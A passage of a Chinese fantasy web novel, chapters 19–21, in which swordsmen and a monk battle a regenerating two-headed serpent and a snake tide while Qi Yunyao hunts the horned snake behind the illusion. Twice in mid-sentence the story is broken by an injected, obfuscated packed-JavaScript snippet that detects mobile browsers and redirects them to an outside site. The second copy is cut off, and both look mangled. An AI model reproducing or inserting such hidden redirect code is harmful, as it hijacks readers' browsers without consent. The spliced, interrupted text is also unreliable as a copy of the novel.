那双平日里总是蒙着一层懵懂的眸子,此刻亮得惊人。 他几乎是本能般极速掀被,厚实的棉被兜头罩向小芳,趁着对方视线受阻的瞬间,单手精准抽出祁云耀攥得死紧的断不义,手腕翻转,剑尖带着凌厉的风,直刺对方心口。 小芳显然没料到他会突然苏醒,瞳孔骤缩,闪避的速度慢了半拍。只听“嗤啦”一声,断不义剑擦着他的皮肉划过,将他身上的黑袍捅出个大窟窿,带起一缕腥甜的风。 他刚想张口解释,谢重楼缺根本不给他喘息的机会,抬脚便是一记凌厉的飞踢,正中他的肩膀。 只听“咔嚓”一声轻响,伴随着小芳的闷哼,他整个人如断线的风筝般倒飞出去,接连撞塌四层木板,才“砰”地一声重重摔在地上,扬起漫天木屑。 不过眨眼功夫,小芳竟撑着地面爬了起来。 他身上的黑袍破烂不堪,一头银发凌乱散落,;脸颊上满是被木刺刮出的血痕。 那双眸子彻底褪去了绯色,变成了令人胆寒的漆黑,死死瞪着两人,怨毒的气息几乎要凝成实质。 谢重楼瞬间便知此人修为不浅,当机立断弯腰将吓傻在原地的祁云耀拦腰抄起,足尖一点,翻身破窗而出。 跳出窗户的那一瞬间,两人皆是心头一震,遍体生寒。 只见客栈四周的空地上,早已被密密麻麻的蛇群围得水泄不通。 那些蛇大小不一,鳞片在月光下泛着幽冷的光,一双双竖瞳透着狠毒的光,不停吞吐着猩红的信子,三角脑袋齐齐昂着,虎视眈眈地盯着客栈。 而清巷里那些依山而建的木屋,大半都已被蛇潮攻破,碎裂的木板间,村民们的惨叫声此起彼伏,撕心裂肺。 不久前还唱着婉转歌谣的嗓音,此刻尽数化作了凄厉的哭喊,与蛇群的嘶嘶声交织在一起,在寂静的夜里,谱成一曲绝望的哀歌。 谢重楼足尖在半空一点,借力翻上了客栈的屋顶,怀里的祁云耀却吓得浑身发软,呼吸都带颤。 “这……这是什么?”他抖着嗓子问。 谢重楼面色沉凝,只扫了一眼,便落下结论:“有大妖。” “妖?”祁云耀猛地瞪大眼,满脸不敢置信,他明明记得,妖族早在百年前就没落殆尽,怎么还会有如此骇人的大妖现世? 话音未落,一声惊天怒号骤然从山下炸开,震得整座山都似在震颤。 二人循声望去,瞳孔齐齐收缩。 只见方才村民们围着跳舞的空地上,竟盘踞着一条银灰色的巨蟒,体长足足有数十米,腰身粗壮得堪比老树干。更骇人的是,那巨蟒竟生着两个脑袋,脖颈处交错盘绕,两颗头颅都高高昂着,猩红的信子一吐一收,森冷的竖瞳里满是暴戾。 其中一颗脑袋的目光,精准地锁定了屋顶上的两人。它像是被激怒了,巨大的身躯猛地一动,带起漫天尘土,蛇鳞摩擦地面发出刺耳的声响,竟要顺着山势往这边攀爬而来。 祁云耀被这一幕惊得魂飞魄散,手拽着谢重楼里衣的力道又重了几分。 可下一秒,一只温凉的手轻轻覆了上来,将他攥得死紧的手指,一根根从自己衣襟上剥落。 祁云耀一怔,茫然抬头,正对上谢重楼那双平静无波的眸子。 “你待在此处,我去处理。”他声音平静道。 祁云耀哪里肯松手,指尖死死抠着他的衣袖,急得眼眶泛红:“你一个人怎么处理啊!再说,再说那个银发怪人还在下面呢!我……我!” “没事的,不必担心我。”谢重楼垂眸看他,语气放缓,“他的气息已经彻底消失了,短时间内不会再出现。而且这客栈周围布有禁制,蛇潮暂时进不来。” 说罢,他不再犹豫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177157|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,伸手将祁云耀攥着衣袖的手指,一根根轻轻地剥下。 转头的瞬间,眼底浮现战意,提剑直面那正顺着山势不断向上攀爬的双头巨蟒。 蛇鳞剐蹭着木石,发出令人牙酸的刺耳声响,腥风阵阵扑面而来。 忽的,谢重楼脚步一顿,转头望向屋顶上的人,声音清亮:“若我未归,帮我替师兄传信——就说清巷有双头大妖出没!” 话音落,他不再回头,足尖在屋顶上猛地一点,身形如离弦之箭般俯冲而下,断不义在月光下划出一道雪亮的弧光,直冲向那庞然大物。 祁云耀哪里还等得到他“许久未归”,当即唤出那只刚买的偃甲鸟,凑到鸟耳边语速飞快地将清巷的现状一股脑说了,又急声叮嘱速去青云剑庄传信。 偃甲鸟“姆嘎”一声应下,振翅便冲向夜色,朝着青云剑庄的方向疾飞而去。 他攥着空荡荡的手心,满心焦灼,眼眶热得发酸。头一次痛恨自己这样废物,明明想和谢重楼并肩,可关键时刻,竟连半点忙都帮不上,只能缩在屋顶上,眼睁睁看着他独自涉险。 山腰,谢重楼早已和那双头蛇缠斗在了一处。 他足尖在屋檐上轻轻一点,身形如惊鸿般掠向巨蛇。手腕急速翻转,断不义裹挟着凛冽剑气,化作一道雪亮的白光。巨蟒正仰头嘶吼,根本来不及反应,一颗蛇头便应声滚落,鲜血喷溅而出,染红周遭屋脊。 他借力落在另一侧屋檐上,还未喘息,便见那巨蟒仅剩的那颗头颅,因同伴的陨落而爆发出一声震耳欲聋的怒鸣,血盆大口猛地咧开,带着腥风直扑向他。 足尖点地,谢重楼身形灵巧地闪避开来,同时引着暴怒的巨蟒,朝着山下空旷处掠去。 回头一瞥,他的脸色骤然沉了下去。 山上的群蛇像是接收到了巨蟒的号令,竟齐齐调转方向,如潮水般朝着他的方向涌来,嘶嘶声汇成一片,听得人头皮发麻。 更惊人的还在后头。 那颗被他斩落的蛇头,并未就此失去生机。断口处竟快速蠕动起来,以肉眼可见的速度长出蛇尾,不过几息的功夫,便重新长成了一条体型稍小,却依旧庞大无比的巨蟒,对着谢重楼的方向嘶鸣着,猛冲而来。 再转头望去,那头只剩一颗头的双头蛇,颈间的断口早已停止流血,皮肉翻涌间,竟隐隐有重新长出一颗蛇头的趋势。 谢重楼瞳孔骤缩,脚下速度更快,飞掠至空地。 他刚站定,提剑凝神,准备正面迎击那如潮水般涌来的群蛇,冷不丁脊背猛地一凉,一股致命的危机感瞬间攫住四肢百骸,大脑疯狂叫嚣。 几乎是本能驱使,他身形猛地往身侧急闪。 “咔嚓!” 巨大的蛇嘴擦着他的衣角狠狠闭合,咬合力巨大,发出令人牙酸的碰撞。 谢重楼难得露出惊愕神色。 空地上竟还蛰伏着一只双头蛇! 这只蛇的体型远没有先前那只那样庞然,堪堪只有一人来高,蛇身纤细,可两颗蛇头却大得诡异,堪比成年人的头颅,森白的獠牙泛着幽冷的光,看得人头皮发麻。 一击落空的蛇头不甘地甩了甩,另一侧的蛇头见同伴失手,当即张开血盆大口,带着腥风,快如闪电般咬向谢重楼。 他方才不过是下意识避险,根本没料到暗处还藏着一只双头蛇。 仓促间根本来不及做出完整的闪避动作,眼看那张血盆大口就要将他的头颅整个包裹,只需轻轻一合,便会血溅当场。 千钧一发之际,一道凛冽的白光骤然划破夜色! 双刃裹挟着凌厉的剑气横扫而来,快得只留下一道残影。 “噗嗤”一声,那正欲咬合的蛇首竟被生生劈为两半,血花飞溅。 血液弥漫间,一张素净的脸透过分离的蛇首映入他的眼帘。 眉眼清冷,衣袂翻飞。 竟然是尹无霜! 19. 帮忙 “啊呀!还真是你!” 尹无霜双刀归鞘,稳稳落地,脸上满是惊讶。 不等她说些什么寒暄的话,谢重楼便持剑旋身侧劈,凌厉的剑刃直斩向那颗重新长出半截蛇身,张牙舞爪扑来的蛇头。 “嗨呀!” 她被这猝不及防的动作吓了一跳,连忙侧身避让飞溅的血沫。 与此同时,一道清越慈悲的女声缓缓响起:“阿弥陀佛。” 柔和的淡金色佛光骤然在两人周身漾开,驱散了周遭的腥风戾气。 只见玉蝉身着素色僧衣,怀抱着一个被袈裟包裹并不停掉眼泪的小男孩,从尹无霜来时的方向缓步走出。 她怀里抱着的,赫然正是下午与他们告别后离开的肖严谨。 他哭的凄惨,原本就大的眼睛肿得更大。浑身被宽大的袈裟裹得严严实实,手臂上的衣服被撕开破洞,底下是两个深可见骨的血窟窿,明显是被尖牙狠狠咬出来的。 好在伤口已被妥善清理,金光笼罩之下,原本发黑腐烂的皮肉正以肉眼可见的速度缓慢愈合,渗血的窟窿也在渐渐收拢。 “来了!” 谢重楼提醒刚落,尹无霜便顺着他的目光望去。 待看清那如潮水般奔涌而来的蛇群,尤其是那头脖颈间新长出半截肉瘤,模样狰狞的双头巨蛇时,她顿时背脊一凉,浑身汗毛倒竖。 身边谢重楼已然提剑冲了上去,尹无霜咬了咬牙,握紧双剑紧随其后。 玉蝉方丈周身的佛光愈发浓郁,淡金色的光晕如屏障般护在两人身侧。地上那些妄图扑上来咬人的小蛇,刚一触碰到金光,便发出“嘶嘶”的痛鸣,牙齿应声崩碎,翻着肚皮跌落在地。 两人目标明确,一左一右,如两道凌厉的闪电,直冲向那头狂性大发的双头巨蛇。 尹无霜双刃出鞘,寒光凛冽,直劈那颗完好无损的蛇首;谢重楼则手握断不义,剑气如虹,朝着那半截新生的蛇头狠狠砍去。 只听两声沉闷的巨响,两颗蛇头轰然坠地,扬起漫天尘土。 尹无霜和谢重楼各自落在一旁的屋檐上,凝神静立。 本以为能暂缓攻势,却不料那没了头颅的巨蛇躯体,竟丝毫没有停止的迹象。失去了方向指引,它反而更加狂暴,粗壮的身躯横冲直撞,所过之处房屋接连倒塌,木屑飞溅,惊得楼中残存的村民发出阵阵惨嚎。 更令人心惊的是,那两颗落地的蛇头,竟又如法炮制般缓缓蠕动起来,脖颈断口处皮肉翻涌,隐隐有重新生出躯干的迹象。 两人见状,心里惊骇不已,自知再缠斗下去只是徒劳,反而会误伤更多无辜。 对视一眼,当机立断,转身朝着四周的山林奔去,将汹涌的蛇潮引向无人之地,以免再累及村民。 玉蝉则趁机将怀中的肖严谨送往祁云耀所在的屋顶,临走前口中低声颂诀,指尖金光流转,将天机阁驻地周遭的结界层层加固。 做完这一切,她足尖一点,身形化作一道流光,飞身追向被蛇潮裹挟着远去的两人。 屋顶上,祁云耀却压根顾不上哭得鼻涕眼泪糊了满脸的肖严谨。他的目光死死黏在谢重楼远去的背影上,心口像是被什么东西堵住了,闷得发慌。 他也想冲下去帮忙,可理智却清清楚楚地告诉他,自己去了不过是添乱,半点忙都帮不上。 心里酸涩得厉害,忍不住想: 要是自己能像大哥一样就好了。 就算不能匹敌那等凶煞的大妖,至少能帮上些力所能及的忙,不至于只能缩在一旁看着。 又或者,要是自己能像小妹一样就好了。 只要能学会西门独传的功法,说不定就能拥有自保之力,甚至能护住谢重楼,而不是像现在这样,蜷缩在这方寸屋顶上,眼睁睁看着谢重楼为了护他,孤身涉险,舍生入死地引开蛇潮。 他攥紧了拳头。 要是我足够强大就好了。 那样,我就能保护我喜欢的人了。 如果能让我拥有这种力量……就算我…… “你这想法,很危险啊,小朋友。” 冷不丁的,一双冰凉的手突然搭上了他的双肩,紧接着,一个带着阴冷药香的身躯贴了上来,后背瞬间传来一阵刺骨的寒意。 祁云耀被吓了个激灵,浑身一颤,猛地转头——正好对上小芳那张苍白得近乎透明,却又艳丽至极的脸。 月光落在他银白的发丝上,泛着一层冷光。 他咧嘴一笑,露出满口细密尖利的牙齿,语气轻飘飘的,带着几分戏谑:“想我了吗?” “啊啊啊啊啊——!” 凄厉的惨叫骤然划破夜空,却不是祁云耀发出来的。 肖严谨本就被蛇咬得痛昏了头,浑身发软,冷不丁撞见这么一张近在咫尺的鬼影,简直像是被阎王索命,吓得魂飞魄散。 等他看清小芳那满口尖牙,还有那张白得像鬼的脸时,一口气没上来,直接脑袋一歪,两眼一翻,彻底晕死过去。 小芳瞥了眼不省人事的人,轻飘飘地给出评价:“可爱的小孩。” 随即,他转头看向被自己环在怀里的祁云耀,脸上的笑意更深了些,那双泛着绯色的眸子,紧紧盯着他,一字一句地问: “想帮忙?” 祁云耀不敢贸然应声,强迫自己压下心头的惊悸,冷静反问:“你要什么?” 小芳咯咯低笑起来,看向他的眼神里多了几分真切的欣赏:“一会儿你那同伴,怕是要提着剑来砍我,你帮我拦住他就行。” 祁云耀:“……” 他显然已经全然忘记了当初被谢重楼一剑差点打死的过往,只满心疑问,像谢重楼那样温柔的性子,到底是被这人做的什么事激得竟会提剑来砍他! 这话到了嘴边,又被硬生生咽了回去。 他咬了咬牙应下:“好。”转而又急声问,“我能怎么帮忙?” 小芳抬手,指尖在一串摇摇欲坠、却还没彻底坍塌的木屋上空虚虚画了个圈。 “这妖怪名叫‘角蛇’。方才你们见到的那些庞然大物,不过是它妖法幻化出的幻术分身罢了。” “它的本体,其实——” 他的手在祁云耀面前比划了一下,约莫只有半米长的样子。 “就这么长,脑袋上还长着一对不起眼的小角。” “角蛇本体没什么大能耐,可一旦觉察到危险,就会把所有幻术分身召回护体。”他语气轻飘飘的,“所以,你能杀死它的时间,很短。” 他凑近一些,吐气如兰,笑意却带着几分森然:“等青云剑庄召集天盟地宗的人赶来救援时,他们三个早就被蛇潮啃得骨头都不剩了。所以你得赶紧去找,而且最好一击毙命,不然被吃掉的就是你了。” 祁云耀闻言心头巨震,无数疑问涌到嘴边—— 他怎么会知道这么多? 他到底是什么来头? 可眼下每一秒都关乎谢重楼的安危,哪里还有时间细问。 他当即站起身,就要循着方才蛇潮涌动的方向去寻角蛇本体。刚走一步又猛地顿住,转头看向小芳,脸上露出几分为难: “我……我没带兵器,你能借我一把刀,或者别的什么吗?” 小芳似笑非笑地挑了挑眉,手掌一翻,竟像变戏法似的摸出一把漆黑匕首,递到他面前。 祁云耀也算见过些世面,一眼便看出这匕首绝非俗物——刀刃是用上好的玄铁锻造,月下泛着冷冽的暗光,握把处缠着类似蛇皮的柔韧料子,入手冰凉。 他握紧匕首,就听小芳慢悠悠地补充:“这是我第二次帮你了,你也得再帮我一个忙。” 祁云耀抬眸看他,心里隐隐有了不好的预感。 只听小芳弯起唇角,露出那排渗人的尖牙:“那个凌云阁的女人,一会儿多半也要来砍我。你,帮我拦住她。” 祁云耀:“……” 他简直要原地抓狂。 这人到底是要干怎样天怒人怨的事?怎么不管是谢重楼,还是那凌云阁的弟子,个个都要来砍他啊!! 祁云耀死死咬着后槽牙,强压下胸腔里的咆哮,转身毅然决然地踏上这条不知到底归不归的路。 刚迈出一步,他就猛地顿住,一张脸瞬间涨得通红,彻底蒙上了一层羞耻—— 他蓦地想起自己压根不会轻功,这屋顶 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他咬着牙,接连冲进第三栋、第四栋,翻找的动作越来越急,可四栋楼搜下来,竟是一无所获! 几趟跑下来,他累得满头大汗,喘着粗气,心里暗道一定是自己搜索得太过粗糙,那些藏在箱子、夹层里的角落都没仔细查。 于是咬咬牙,又折回去,开始第二轮地毯式搜寻。 “啪嗒——”木箱的搭扣被掰开,里头只有些破旧衣物。 “吱嘎——”老旧的木柜被拉开,空落落的连层灰都少见。 “咚咚咚——”脚踩在木板上,发出急促的声响,在寂静的夜里格外清晰。 等他把第一栋木楼的犄角旮旯又仔仔细细翻了一遍,依旧什么都没找到。 心脏狂跳不止,祁云耀急得眼眶发红。 他怕自己晚一刻找到角蛇,谢重楼他们就要多鏖战一刻,多一分受伤的风险。 慌慌张张钻出第一间屋子,正要冲进第二间时,他却猛地刹住了脚步。 不对,不对劲! 脑子里警铃大作,他隐隐觉得哪里出了问题,可纷乱的思绪搅得他抓不住重点。 祁云耀强行按住胸口的焦躁,狠狠吐出几口浊气,嘴里反复念叨:“冷静下来,冷静下来……” 到底是哪里不对劲? 周遭静得可怕,只有月光安安静静地落下来,洒在破败的木楼上,透着一股子诡异的死寂。 “冷静,冷静——” 祁云耀站在原地,蓦地缓缓抬起头,看向四栋木楼以及四周被蛇潮搅成的废墟。 对啊! 怎么会这么安静? 他终于抓住了那股违和感的源头。 不仅是这四间屋子,一切都太安静了。 特别是这四间屋子,里头没有蛇群肆虐的痕迹,没有打斗的凌乱,甚至……连一个遇难村民的身影都没有! 那些村民呢?遇难的村民去哪了? 祁云耀转头去看周遭的废墟,里面安安静静的,连个人影都没有。 好像自从蛇潮走后,那些惨叫哀嚎的村民的声音也消失了。 他猛地抬头,目光死死扫过眼前的四栋小楼。 冷不丁地——他看见了。 在第二栋和第三栋木楼之间的缝隙里,夹着一条灰白色的东西,细得像根带子,正贴着木墙缓缓蠕动。 它的身子从第二栋楼的木窗里钻出来,头部紧紧攀着第三栋楼的窗檐,微微一使劲,又尖又细的尾巴便从第二栋楼的窗沿坠了下来。 轻轻的“啪嗒”一声,几乎微不可闻。 那尾巴又缓缓向上缩,一点点蠕动着,最终彻底钻进了第三栋楼的窗户里。 似乎是察觉到了楼下的目光,三楼的木窗后,慢慢探出一个小小的三角脑袋。 而它头顶上,赫然长着一对不起眼的、尖尖的小角。 一人一蛇,就这么僵在原地。 祁云耀:“……” 角蛇:“……” 20. 双蛇 祁云耀脑子里“嗡”的一声,瞬间一片空白。 难怪! 难怪他翻来覆去找了这么多遍,都没见到这条蛇的影子。 原来它根本不是藏着,而是会跑!会借着木楼之间的缝隙转移位置! 这下,祁云耀再也顾不上琢磨那些村民的去向,心头只有一个念头——抓住它! 他咬紧牙关,一头扎进第三栋木楼。 咚咚的脚步声在空荡的楼道里回响,爬上楼时,正好瞥见那抹灰白色的身影,刚巧消失在通往四楼的窗口。 祁云耀脚下生风,拼了命地追上去。 纵身跳入四楼窗口的一刹那,他却猛地愣住—— 这哪里还是他之前进来过的屋子? 整栋楼的隔断竟被尽数打通,变成了一个空荡荡的天井。 他脚下一空,整个人直直往下坠! “嗬啊——!” 祁云耀惊出一身冷汗,危急关头,他死死攀住窗檐边缘,指尖抠进木头缝隙里,这才化解了摔死的惨剧。 而几乎是下一秒,楼内的景象又诡异地扭曲起来,隔断重新出现,变回了原先的布局。那条角蛇正嘶嘶地叫着,扭动着细长的身子,慌慌张张地往楼下爬。 几乎是同一瞬间,祁云耀听见四面八方的大山里,响起此起彼伏的蛇鸣,那声音越来越近,越来越密。 蛇潮要回来了! 祁云耀心脏狂跳,连忙加快脚下动作,攥紧手中的玄铁匕首,朝着角蛇狠狠刺去。 角蛇反应极快,脑袋一偏,竟险险躲开了这致命一击,反而顺势张开嘴,露出两颗泛着幽光的毒牙,朝着他的手腕咬来。 祁云耀一击不中,连忙向后急退,堪堪避开那淬了剧毒的獠牙。一人一蛇在狭窄的楼道里对峙,彼此都死死盯着对方,空气里弥漫着紧张的杀气。 他知道自己根本没时间耗着,等蛇潮折返,他和谢重楼他们,都得死在这里! 可角蛇像是看穿了他的急迫,眼睛微微一眯,发出一声尖锐的嘶鸣。 蓦地,楼中布局再次天旋地转般变化! 除了角蛇腹下那一小块立足之地,周遭的木板竟尽数消失,露出下方黑漆漆的虚空。 祁云耀瞳孔骤缩,来不及多想,猛地向前一扑,稳稳踩上角蛇腹下仅存的那片木地。 随即,他瞅准时机,双手死死掐住角蛇的三角脑袋。 角蛇吃痛,疯狂扭动起来,可祁云耀死也不肯松手。一人一蛇,就这么踩着那方寸之地,齐齐朝着下方的虚空坠去。 “砰——” 沉闷的撞击声响起,一人一蛇重重坠落实地,扬起漫天尘土。 角蛇吃痛,立刻扭转脑袋,毒牙直逼祁云耀的脖颈。他却比蛇更快一步,右手死死扼住蛇头,指节因用力而泛白,像是要将那小小的头骨捏碎。 角蛇见毒牙攻击不成,细长的身子猛地圈住他的右臂,蛇鳞摩擦着皮肉,越缠越紧,骨骼被勒得咯吱作响,像是下一秒就要被拧断。 祁云耀强忍剧痛,左手攥紧玄铁匕首,手腕猛地调转,朝着蛇身狠狠捅去。 可预想中匕首入肉的声音并未传来,反而是“噌”的一声锐响—— 角蛇浑身上下的鳞片竟齐齐炸开,泛着一层幽冷的光泽,凝成一道坚不可摧的护罩。 匕首撞在鳞片上被弹开,反倒震得他虎口发麻。被缠紧的右臂更是被卡得死死的,连掐着蛇头的力气都快泄尽了。 “砍它的角。” 冷不丁,花秽芳的声音从头顶飘来。 祁云耀艰难抬头,只见他不知何时坐在了四楼的窗沿上,银发垂落肩头,依旧是那副苍白艳丽的模样。 他嘴上说着话,眼睛却没看祁云耀,只定定盯着窗外的夜色,语气轻飘飘的:“你得快点了,蛇潮来了。” 几乎是话音落下的刹那,一股腥冷刺鼻的异味便大股大股地钻进祁云耀的鼻尖,那是独属于蛇类的腥臭气,浓得令人作呕。 时间再也拖不得了! 祁云耀咬紧牙关,忍着右臂骨骼欲裂的剧痛,左手匕首调转方向,狠狠朝着角蛇头顶那对小角剜去。 出乎意料的是,那角与周身坚硬的鳞片截然不同,竟脆弱得不堪一击。 玄铁匕首不过轻轻一使劲,便将一侧的小角完整地削了下来! 他害怕角蛇会拥有像双头蛇那样断首再生的异能,趁蛇角还没落地的瞬间,将它捉在手中。 “嘶嘶——!!” 角蛇发出一声凄厉至极的嘶鸣,缠在祁云耀手臂上的力道骤然松了几分。 他的右手早就被缠的几乎无知觉,蛇身乍一瞬松懈,血液涌进,竟然激得他的右手也脱力,软绵绵地瘫了下来。 失去一只角的角蛇彻底狂暴,猩红的信子吞吐着,张开满是毒牙的嘴,带着腥风直扑他的面门。 祁云耀瞳孔骤缩,浑身僵住,避无可避。 “噌——!” 尖锐的碰撞声,骤然在他眼前炸开。 两道清冽剑光破空而至。 只见尹无霜手持双剑,抵住疯狂的蛇头。 令人惊讶的是,那角蛇的牙尖锐得可怕,与双刃的剑锋狠狠相撞,竟丝毫未损,反而发出一阵刺耳的交鸣之声! “小心!” 祁云耀失声尖喊,目光死死盯着尹无霜头顶——不知何时,一条手腕粗的蛇竟悄然从她头顶盘下,此刻正弓起身子,毒牙森然,眼看就要咬向她的脖颈。 尹无霜反应极快,闻声瞬间收剑,反手精准捏住祁云耀的后衣领,猛地向后撤了一大步。那双头小蛇一击咬空,摔在地上,仰着两颗小脑袋,满眼恶毒地瞪着二人。 祁云耀心头发沉,瞬间明白过来—— 他杀角蛇的计划败露了,蛇潮已经彻底折返,再无转圜余地。 几乎是同时,那头重伤的角蛇猛地向后一蹿,迅速钻进汹涌的蛇潮里,消失得无影无踪。而周遭那四幢木楼,竟如雾气般骤然消散,露出了他们被蛇潮团团包围的真相——原来,这一切都是幻境。 小芳不知何时又没了踪影,像是从未出现过。 直到这时,祁云耀才后知后觉地惊出一身冷汗:他们周遭的房屋、甚至清巷里的村民牲畜,竟全是角蛇用妖法幻化出来的假象吗? 幻境散去,夜色里只剩下孤零零的一幢天机阁分会,孤零零地立在山间,在漫天蛇影的映衬下,诡异得令人头皮发麻。 “重楼呢?谢重楼在哪?”祁云耀急声追问。 尹无霜拎着他,在蛇群的围攻下左躲右闪,脚下不停,根本来不及回答,只能带着他辗转腾挪,寻找下一处落脚地。 两人在林间飞速穿梭,蛇群的嘶鸣紧随其后。 尹无霜刚想开口回应,就听蛇潮中央传来一声轰然巨响,气浪裹挟着腥风扑面而来。 循声望去,远处天机阁的方向,正不断有闪烁着银光的圆点朝这边抛掷而来。 那些圆点落在地上,或是撞上蛇身的瞬间,便会轰然炸开! “轰隆——轰隆——” 爆炸声接连响起,那些麻烦的巨蟒分身被当场轰成碎块。纵使这些碎块还能蠕动着变成小蛇,却早已没了先前大蛇的凶戾与威胁。 巨蟒分身被尽数击溃,蛇潮顿时陷入一阵混乱的嘶鸣。 一部分蛇群依旧红着眼睛,疯狂围拢上来攻击尹无霜和祁云耀;另一部分却像是接收到了指令,调转方向,缓缓滑向山间那唯一的建筑——天机阁分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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祁云耀闻言,悬着的心稍稍安定了些,可想起自己杀角蛇失败的事,又忍不住满心自责。他连忙将花秽芳告知的角蛇信息,以及自己没能成功斩杀角蛇的经过,一股脑说了出来。 尹无霜的眉心猛地一跳,像是终于理清了整件事的来龙去脉,她脚步不停沉吟道:“那个叫小芳的,根本没把全部信息告诉你。蛇潮的确是角蛇制造的幻境没错,但那两头双头蛇,却并非幻术所化!他是故意引你去破角蛇幻术的!” “我和重楼方才还在疑惑,寻常双头蛇被同时斩断两颗头颅,按理早已毙命,可这只非但没死,反而断首重生,愈战愈凶。” 她语速极快,声音里带着凝重,“若我没猜错,这角蛇和双头蛇定是达成了某种契约——角蛇以幻术助双头蛇修复肉身、分裂重生,而双头蛇则做角蛇的附庸,替它扫清障碍!” 话音刚落,尹无霜又斩钉截铁道:“那你危险了!你斩断了角蛇的角,毁了它的幻术根基,这妖物眦睚必报,往后定会一直追杀你,不死不休!” 祁云耀的心猛地一沉,浑身冰凉,骇然不已。 他并不害怕蛇妖的报复,反而是痛恨轻信他人的自己。 先前还在腹诽这人到底干了多少天怒人怨的事,引得谢重楼和玉蝉方丈都要砍他,结果到头来,竟是自己被他轻飘飘一句话,推到了角蛇的死敌名单上! 这哪里是帮忙,分明是被他狠狠坑了一把! 祁云耀皱眉咬着牙,正要追问小芳的来历,尹无霜却猛地脚下一顿,足尖稳稳落在一片狼藉的空地上。 他们已经抵达了双头巨蛇所在的地方。 眼前的景象,让祁云耀瞬间屏住了呼吸。 21. 破局 原本的12-16章合并为12-13。14-16更新为三个小番外。早就追平的宝宝们可以去康康掉落番外捏。没看过的宝宝们可以不必管正常看就可。本章水掉的字数补在作话了,宝宝们别关作话捏~~~ 此地早已不成模样,地面龟裂纵横,草木化为焦黑残枝,两种截然不同的腥气绞缠在一起,呛得人喉间发涩。 战场中央,一条庞然巨物疯狂搅动着周遭风云,掀起阵阵腥风。 那两条双头蛇合体后的身躯比初遇时庞大了数倍,粗如梁柱,鳞甲泛着暗青冷光;两颗蛇头更是大得骇人,几乎抵得上屋门,獠牙交错,涎水滴落;而蛇瞳赤红如血,翻涌着疯狂的怒火,其中一颗头颅被削去大半,狰狞的血肉翻卷外露,不断鼓动。 似乎是因为角蛇被袭击让它的再生之力也受到重创。那只剩一半的脑袋却没有之前那样迅速再生,而是以一种极其缓慢的姿态生长。 夏阳抱着昏迷不醒的肖严谨蹲在一个极粗壮的树干上,满脸焦灼盯着下方战况。尹无霜将背上的人送上树,旋即自己提剑再度冲向巨蛇那边。 谢重楼的身影如一道青色闪电,在巨蛇周身疾速穿梭。剑气纵横交错,不断斩向巨蛇的身躯,迸发出阵阵金铁交鸣,却也只能在它坚硬的鳞甲上留下一道道浅白的划痕。 而在他不远处,玉蝉神色庄严,口诵佛号,周身泛起浑厚的金色佛光。佛光在谢重楼身周凝聚成一个巨大的护罩,稳稳抵挡住巨蛇的攻击,为他创造着进攻的机会。 尹无霜手持双剑身法轻灵迅捷,并不与巨蛇庞大的身躯硬撼,而是脚尖轻点,如鬼魅般游走在蛇首之间,双剑交错,专门寻隙攻击巨蛇相对脆弱的眼部与口部,逼得巨蛇连连发出震耳欲聋的嘶吼。 “重楼!” 尹无霜大叫一声,眼见着四面八方的蛇潮已经合围逼近,再跟这双头巨蛇死缠下去,只会被活活拖死。 谢重楼闻言飞身掠起,几步飞跃到尹无霜身侧。两人在空中一瞬交汇,眼神默契,无需多言。 剑光骤亮,三道剑气交织,如奔雷破空,直劈双头蛇的脖颈。 “嗤——” 两颗巨大的蛇颅应声轰然落地,砸在龟裂的地上,血液飞溅,震起漫天尘土。 下一刻,两人同时落地,气息微喘,警惕地盯着仍在疯狂抽搐的巨蛇身躯。没了头颅,巨蛇彻底失了方向,仅剩的狂暴戾气愈发浓烈,庞大的身躯疯狂扭动翻滚,横冲直撞。 尹无霜将角蛇之事简单交代,谢重楼目光一凝,当即有了主意。他旋身引着那失智的庞然大物,一步步将它带向合围的蛇群。而尹无霜心领神会,从另一侧以剑气牵制。 他们默契无间,一引一扰,将那狂怒的无首巨兽化作一柄重锤,在蛇潮中反复碾压。巨大身躯所过之处,不再是分裂增殖的怪蛇,而是只留下一滩滩再也无法蠕动的腥臭肉泥。 一时之间,战场上混乱不堪。 巨蛇的狂暴、小蛇的哀鸣、剑气的锐响、蛇躯砸地的轰鸣交织在一起,尘土与血雾弥漫半空,分不清是蛇群的尸体,还是被碾碎的碎石,整个地面都被染得一片斑驳狼藉。 “真是见了鬼!这蛇怎么老追着我们?”夏阳骂骂咧咧。 那条角蛇明显是盯上了毁它一角的祁云耀,死活不肯罢休。 他们所藏身的大树,眨眼就被密密麻麻的蛇群缠满,树干、枝桠、叶缝里全是蠕动的黑影子,腥臭扑面而来。 夏阳不敢多停,一手死死抱紧昏迷的肖严谨,另一手提溜着祁云耀后领,脚尖在树枝上连点,不断在林间纵跃穿梭。 风从耳边刮过,枝叶簌簌断裂,身后蛇群如潮水般紧追不舍。 祁云耀被晃得头晕,却半点不敢分神,紧紧攥着那柄漆黑匕首,心脏狂跳得快要撞碎胸膛。 他心里清楚——巨蛇再生变慢、小蛇不再重组,一切反常,全是角蛇幻术崩裂的缘故。 只要找到它,把剩下那只角也彻底毁掉,这场诡异的袭击就能真正结束。 角蛇已经受了重创,实力大不如前,绝不可能贸然混在蛇潮里,那太容易被失控的巨蛇误伤,也太容易被他们直击要害。 它一定藏在某个安静隐蔽、能俯瞰全局、又不会被波及的地方…… 会在哪里? 到底藏在哪里? 夏阳一边在树间灵活腾跃躲避,一边时不时从怀里摸出先前用过的圆形炸弹,反手掷向蛇群。 “嘭——嘭——” 炸弹接连炸开,蛇躯碎块四处飞溅,刺鼻的恶臭混着硝烟味扑面而来。 